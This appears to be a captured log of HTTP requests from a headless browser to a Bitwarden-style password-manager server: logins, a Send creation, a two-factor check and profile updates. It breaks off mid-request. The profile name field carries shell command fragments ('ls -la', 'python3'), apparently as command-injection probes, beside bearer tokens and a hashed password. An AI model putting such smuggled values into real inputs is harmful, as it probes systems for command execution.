{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20532cb3-1d4a-461b-b5d7-2b94d6eab5e7&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=6c35bee9-33d5-4f3b-bcc7-6fdc427bbf29&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=eae1b97e-7594-486e-8101-06f7bb5349e5&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bfc9d96d-a051-4bb0-9c39-dbedbef320c8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=66dc38d8-6f33-481c-ad24-9c4f1e179a32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=23865f51-21f2-49ee-856b-ef44e52c009d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0ca6b559-7b65-4146-9d04-0dca9d80f540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/sends", "headers": ["Host: example.com", "Content-Length: 785", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":0,\"name\":\"2.UG0NfZP+eYgYbFkoRW6pTQ==|hpW2x+CkS4AlevPY22zQcXyGE3s2zeJdH3mRK8hOIn8=|kXyiZb4Y18fFHeqrsMFhxuT1iCFq7i0z+G7s1/Uk/50=\",\"notes\":\"2.azdjfJs5HdF6wBOmMaPplQ==|pUwrcZiX5oj3kvlBTJnTvykJERLBTaXClAK1P5IW07caL8yCyE6kl2FQpkU5RyGK|7xrxPjMkJMSxEIdNAXHU01rL5kAPaaqMR74Z/rpywX0=\",\"maxAccessCount\":5,\"expirationDate\":\"2026-11-17T03:28:30.000Z\",\"deletionDate\":\"2026-11-17T03:28:30.000Z\",\"key\":\"2.leQijIRkDpE2rFtp0gLrQQ==|nUvLKx1yAiewP5OIcrErkZd/h4twE02xICbcFqwXKPQ=|rAX8Ax54P6URtJhssMXWRwtgDuctbvIGzPUenTYTCRw=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.GoddGA97p/EQNASon7QqIw==|0/M189+zXehpfs/w/a8EG4BBWa94rWFXk4JC3hkTQNDieslAA2csP5z4SvJf82Jj15bcYWJXEuzOgRQrAf9gEQ==|u3S4hzZTBJxeDqMYb/H2P4/ePlY0eq6SpAhxYMxQ5U4=\",\"hidden\":false}}"}
{"method": "GET", "target": "/api/sends/53749b39-757b-49c2-abd0-d9d606713e8d", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=794eb997-4a05-4e1c-8d80-e8bd7bc035c1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/two-factor", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEzMjksImV4cCI6MTc5NDI4ODUyOSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI3OTRlYjk5Ny00YTA1LTRlMWMtOGQ4MC1lOGJkN2JjMDM1YzEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.OWvitaQoFayAvf-uRSzSjM8uh7CyqtVrrD2GzgY6lazGHVHcTTjdTLrDAblHGw94_r1pN4jkkMjJEz7jRMmbleCe99Lz8pSQ_roCk7WxxC3IIbw4aCEORbztknrjXHhhWEghn2MvcwM3yok-i9xzRM-YUXcmSdR8Lb0bVcfCIZuVJaGIRa5Ixq_CIc-NnzVl_umwKwXe0NA8k6wdHoUW_r7DyD31szPJhcpitw_mekbDYKpm3mCwgl7WvkBy73mJlDhduZ3NHA85YmHu7I_0JgMal_CDXfnUPYfAqBwO7jOVtrvsuyyEIga-IQq68jUbSAIFmw1_2EA-jZ7qIvc1uQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0681b06f-477d-4b4a-89ce-960167180cfc&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bf045b02-9f2d-4510-9739-6873c279a75e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e7f101bf-a371-40c9-b836-f28c304e7fdb&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5585f140-74a8-4342-bcb9-66c0e36daa84&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e44207b9-d839-4088-9325-1f8b184f578a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 41", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\"Alice ls -la\"}"}
{"method": "POST", "target": "/api/organizations", "headers": ["Host: example.com", "Content-Length: 3201", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", 